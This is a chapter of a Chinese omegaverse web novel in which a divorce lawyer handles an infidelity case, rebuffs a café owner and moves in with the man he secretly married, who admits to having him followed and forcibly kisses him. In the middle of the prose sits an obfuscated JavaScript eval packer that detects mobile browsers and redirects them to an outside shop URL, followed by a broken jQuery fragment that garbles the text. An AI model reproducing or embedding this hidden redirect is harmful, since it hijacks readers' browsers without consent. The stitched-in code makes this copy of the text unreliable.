卢贺年：“……”
他忍不住抓了抓头发：“我帮忙劝李明南离婚，你们就不找我麻烦？……也不找沈远拆穿我的事？”
顾清嘉颔首：“尹先生不是会找麻烦的人，这一点我想卢先生你其实很清楚。而我只是拿钱办事的律师，没收益的事太多余，我没必要做。”
“是吗，我还以为律师都是维护社会秩序、满口公平正义的人呢。”卢贺年阴阳怪气道。
顾清嘉无所谓地笑笑。
卢贺年磨了磨牙，又说：“我不一定能说服李明南，李明南太在乎周边人的看法了，他跟他周边人其实也都是一种看法，心理上根本接受不了同性恋，他是真怕跟尹书离婚后，跟我的事曝光……”
“你可以的，卢先生。”顾清嘉和气地鼓励，“李先生跟你婚前就有往来，婚后又出轨三年，痴心不改，不要低估了你们之间的羁绊啊。”
卢贺年：“……”
他觉得自己被阴阳了，但又说不出来哪里不对。
顾清嘉：“你们在一起这么久，你甚至能瞒着他交往一个Omega，我想你很了解他的痛点。话说回来，卢先生其实不怎么喜欢李先生吧，这么委曲求全做他的第三者，总是得有点利益驱使的……刚才让你差点跳脚的挪用公款，不会也是真的吧？”
卢贺年脸色难看：“你有本事去找李明南问啊，抓着我追问干嘛，看我软柿子好拿捏？”
“卢先生可不是软柿子，别这么看轻了自己。”顾清嘉端起热可可，喝了一口。
然后他又叮嘱卢贺年：“我的委托人和我都比较着急，所以还希望卢先生可以效率高一点，三天内说服李先生，怎么样？”
卢贺年磨了磨牙：“……我试试！”
“好的，多谢卢先生了。”顾清嘉颔首，“那我这里没别的事了，不耽误卢先生继续工作。”
卢贺年忿忿，起身离席，回到了吧台后。
吧台里的另一位咖啡师沈远见他回来，关切地询问是什么情况，卢贺年大概是敷衍了几句，沈远没再追问，只是往顾清嘉这边看了看。
顾清嘉对上他的视线，微微一笑。
沈远躲闪着低下头，继续擦拭杯子了。
顾清嘉继续喝热可可。
关于沈远这个人……
顾清嘉不知道是自己想多了，还是空穴来风未必无因，总之他怀疑沈远刚才是故意漏出手腕上的手链，让他能看到的。
沈远的衣袖其实足够把手链挡住，如果说是为了做咖啡才把袖子捋了上去，那手链其实也挺碍事的，可以一起摘掉。
当然，这样说还是有点牵强。
但咖啡师们在吧台里，顾清嘉刚才坐着的角度，如果不是沈远有意多次抬高手，顾清嘉其实真看不清他手腕上的东西。
可这说不通，沈远故意漏手链给他看做什么？
抛开别的目的不提，沈远怎么确定他就能注意到手链，和卢贺年脖子上的项链，还能知道这是情侣限定呢？
顾清嘉觉得，自己可能是律师那疑神疑鬼的职业病犯了，便垂眸没再深究。
总之，现在先“哄”着卢贺年帮忙劝说李明南，把尹书离婚这件事办妥了，完成他身为离婚律师的本职工作。
至于横生出来的细枝末节，涉及到的旁人和别的事情，之后再考虑插手。
这个案子目前也算是进度喜人了。
顾清嘉打算喝完热可可，就离开咖啡厅，回律所去。
他现在倒不是渴，真渴的话还是白水最管用。
主要是热可可端上来了，要付钱的，他不想沾一口就不喝了，多浪费。
“味道怎么样？”祝隅又坐到了顾清嘉对面，目光里流露出好奇，似乎真的很在意自己亲手做的热可可会得到什么评价。
顾清嘉没有维系关系的打算，不希望自己待人的习惯性友善——也是一种虚伪但有意义的社交礼仪，给祝隅错误的暗示。
所以他回答得十分不委婉：“坦白来说，一般。”
谈不上难喝，但也谈不上好喝。
不过这是不到四十块一杯的热可可，又没在价码后面多加几个零，不难喝其实就够了。
祝隅被顾清嘉的诚实噎了噎：“……好吧，我的手艺的确一般。顾律师这是打算喝完走人了？”
顾清嘉颔首：“事情处理完了，还得多谢祝先生的帮忙。”
祝隅打开手机：“那买单吧，一杯热可可，三十六块。”
反正他是老板，直接扫他的收款码也一样，顾清嘉没在意，见祝隅打开的是微信，也就打开了微信准备付款。
但下意识扫了二维码后，顾清嘉才反应过来，祝隅手机页面不对。
果不其然，扫码跳转的是添加好友的界面。
祝隅微微一笑：“热可可我请你喝了，顾律师不会嫌三十六块钱交个朋友，太占你便宜了吧？”
顾清嘉无奈，突然想起来自己口袋里还有从梁晏那里薅来的戒指，于是他拿出来顺便充当了下道具。
“多谢祝先生的好意，但我说有结婚对象了，这话真不是敷衍搪塞，你看，我戒指都准备好了。”顾清嘉温声说，“所以，很抱歉要拒绝你的好意了。”
看到顾清嘉手里的戒指盒，祝隅真挺意外的：“居然是真的？我还以为……抱歉，那我太冒昧了。不过，顾律师居然这么急着结婚吗？在现在的年轻人里，还挺难得的。”
顾清嘉把戒指盒放回口袋里，笑了笑：“苏女士给你看过我的资料，那你应该也知道了，我父母都不在了，这种没有长辈督促的情况下，我自己主动去婚介所，确实是时下比较少见的、想要结婚的人。”
祝隅收了手机：“好吧，不过这杯热可可的钱你还是不用付了，算我为刚才的冒昧道歉。”
看得出来对方是认真的，再推拒只会弄得尴尬，何况只是几十块钱的事，顾清嘉便安心接受了，也算是给这件巧合收了个尾，和和气气结束。
顾清嘉离开咖啡厅，回了律所。
看到他回来，前台的许琳娜就忍不住好奇：“顾律，听说昨天来的那个梁先生，Alpha，跟你求婚了？”
顾清嘉脚步一顿：“你从哪听说的？”
“就昨天下班时间，在斑马线那边等红绿灯的时候……”一个法务助理幽幽冒出来，看热闹不嫌事大，“隔壁水果店的员工吃瓜听到的，上午我们点果盘，他给送过来，就顺便聊聊天嘛……那位梁先生何方神圣啊？直接在大街上让顾律跟他结婚啊，好大胆哦。”
顾清嘉无奈：“……你们都消停点。”
许琳娜：“知道啦知道啦，顾律只喜欢Omega嘛，那位梁先生注定要碰一鼻子灰了。”
兜里还揣着和梁晏的结婚戒指的顾清嘉：“……”
他轻咳了声，若无其事回了办公室，投身工作。
顾清嘉联系了尹书，把刚才在咖啡厅的见闻和收获告知了他。
尹书松了口气：“顾律师效率这么高，真是太辛苦了。如果卢贺年能说服李明南答应离婚，那就再好不过了，不用上诉开庭要省事太多，也省时间……不过对于顾律师而言，不开庭的话少了这笔收入，不知道我这单委托会不会让顾律师吃亏了。”
顾清嘉笑了笑：“那自然不会，毕竟我只是少收了本来就没做的那部分工作的委托费，尹先生不必挂心。”
又客气了两句，尹书迟疑提起：“卢贺年的未婚夫，他也挺无辜的……”
顾清嘉道：“他们还没结婚，卢贺年现在忙着说服李明南，应该也没心思惦记和别人结婚的事，等尹先生你的离婚流程走完，届时是去告诉那位沈先生真相，还是去举报李明南挪用公款，都随尹先生的想法。”
“不过我还是那个建议，不要再强调你也怕被人知道李明南出轨细节、觉得丢脸这件事，免得让李明南反过来觉得抓住了你的把柄。”
尹书点头：“我知道了，之前是我想岔了，觉得只要我说服李明南相信我不会去传扬真相细节，就能离婚。但其实只要离了婚，我不会去说我觉得丢脸的这件事，李明南自己肯定也不会说，那目的也就都达成了，没必要管李明南信不信我，我自己知道就好。”
顾清嘉：“是这个意思。不过，尹先生不想让人知道你的丈夫出轨了别的Alpha，那就不说细节，对外最好还是说清楚离婚原因是李明南出轨了。”
尹书之前就说过，他不怕被人知道离婚原因是丈夫出轨，觉得丢脸、不想让人知道的仅仅是李明南出轨的对象。
顾清嘉不评价委托人的需求，作为离婚律师只以此为方向。
建议尹书不要连李明南出轨的事都对外隐瞒，也是为了尹书的利益着想，免得尹书真的什么也不说，给了李明南对此“发挥”的空间，往尹书身上泼脏水。
尹书：“欸，好，我明白的。”
又聊了几句，结束通话。
顾清嘉放下手机，起身接了杯水，刚喝上，林轶就过来了。
“我刚回来，就听说顾律师正在被一个Alpha狂热追求？围追堵截地求婚？据说那个Alpha只看外形条件还不错。”林轶揶揄说。
顾清嘉无奈：“这么快就多出了这么多形容词吗？他们在外面怎么编排我呢？”
林轶摆了摆手：“我可不是那种会暴露下属秘密的上司，你想知道就自己出去听，讨论得可热情了，小许还在说‘我就知道顾律这样气质温柔的Alpha肯定会招别的Alpha’。”
顾清嘉：“……要不多给前台安排点浇绿植的活，打发打发时间吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628109|205390||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林轶好奇：“真有那么个Alpha？”
顾清嘉不太想细说，即便对方是朋友兼合伙人，于是他转而问起：“子霖呢？”
“他这会儿在开庭。”林轶回答完，又把话题绕回来，“所以你和那个梁先生到底是个什么情况？听说你前天晚上又相亲失败了？”
顾清嘉放下水杯，拿上手机：“这律所里就没人说点我爱听的，不说了，我有点别的事，今天早退，再见。”
林轶意外：“听起来和工作无关，这放在你身上，可稀奇了。”
顾清嘉略微摊手。
尹书的委托目前不急于下一步，今天不忙，顾清嘉寻思着，干脆回去收拾东西，搬家算了。
他总觉得他要是今天没有搬，梁晏那家伙真能晚上又跑到他家里，堂而皇之留宿。
接连三天让梁晏留宿在他家……那太诡异了。
顾清嘉在众人的吃瓜目光中离开了律所，回家把行李收拾得差不多的时候，梁晏的电话正好打了过来。
“毛绒玩偶给你买好了……”梁晏这话说的，跟居心不良诱骗小孩的怪叔叔似的。
说完了他自己也觉得好笑，忍俊不禁道：“要到畅荷园看看吗？”
顾清嘉若有所思：“你这个时间点给我打电话，是巧合，还是知道我从律所回家了？”
梁晏不语。
顾清嘉木然道：“梁总，你要是再让人跟踪我……”
“已经撤掉了。”梁晏没让顾清嘉说出后面的威胁，语气温和地保证，“刚撤掉的，今天是最后一次，我不会再安排人窥视你的行踪了。”
自己好端端一个律师，到底跟怎么样一个法外狂徒结了婚啊……顾清嘉简直不敢细想。
梁晏又说：“你收拾得应该差不多了吧，我来接你？”
顾清嘉把行李箱一扣，站起身回道：“行啊，你自己开车来，别让司机代劳，我要梁总给我当司机。”
梁晏低笑了两声：“好。”
挂下电话后不到十分钟，门铃就响了，梁晏人模人样地站在外面，对前来开门的顾清嘉轻笑：“下午好。”
显然他早就到了顾清嘉家附近，就等着顾清嘉同意了，就过来。
顾清嘉：“……梁总真的不用忙工作吗？”
“如果我歇几天就会让梁氏倒闭的话，那就让它倒闭吧。”梁晏走进门，朝顾清嘉靠近。
顾清嘉转身往里走，想要避开欺身过来的梁晏：“我收拾了三个行李箱……梁晏！”
梁晏拽着顾清嘉的胳膊，强行把他摁到了墙上。
顾清嘉没好气地瞪他：“你又在发什么情？”
梁晏微微低头，贴近顾清嘉的脸，笑的时候气息都落到了顾清嘉的唇边，刺激得顾清嘉头皮发麻。
“好巧啊，顾律师昨天刚拒绝的相亲对象，今天就去人家店里了，据说相谈甚欢，顾律师连戒指都掏出来了？”梁晏捏着顾清嘉的下巴，把偏过头躲他的顾清嘉正回来，跟他四目相对。
顾清嘉哑然：“……啊对对对，我准备就地取材，用梁总给我的戒指跟人求婚，然后想起来重婚犯法，才遗憾作罢，行了吧？”
梁晏轻笑，抬起手，指尖落在顾清嘉唇上，轻轻摩挲着。
顾清嘉嫌他的小动作烦人：“拿开……”
他一启唇，梁晏的指尖就往里一陷，好像被顾清嘉的唇含｜住了似的。
顾清嘉：“……”
更糟糕的是，皮肤饥渴症让顾清嘉甚至不为此感到反感。
他轻颤了下，只能瞪着梁晏。
梁晏忍俊不禁，放下手，低头吻住了顾清嘉。
硝烟味在鼻间渐渐弥漫开来，顾清嘉思绪里警铃大作：“不……”
梁晏也没有做下去，他记得这会儿是来帮顾清嘉搬家的，还是这件事更迫在眉睫。
结束了意犹未尽的一吻，梁晏低声说：“我觉得你的信息素里可能藏有违禁药品。”
会让人上瘾、失控，见不到的时候心痒难耐，见到之后急不可耐。
顾清嘉一脸见鬼：“梁总，我可没像你这样随时随地控制不住外泄信息素——以及，我觉得你的信息素是世界末日的味道，为了人类和平，你收敛点吧。”
梁晏亲昵地蹭了蹭顾清嘉的脸颊，没听到最后似的，只说：“违禁药品确实容易引发世界末日。”
顾清嘉：“……”
他不确定自己起的鸡皮疙瘩，是因为被梁晏亲密接触，从而引发的皮肤饥渴症连锁反应……
还是单纯被梁晏的“甜言蜜语”，给恶心出来的。
“……帮我搬行李箱。”顾清嘉面无表情道。
梁晏笑着放开他：“好，先搬家。”
今晚可是他和顾清嘉的新婚夜。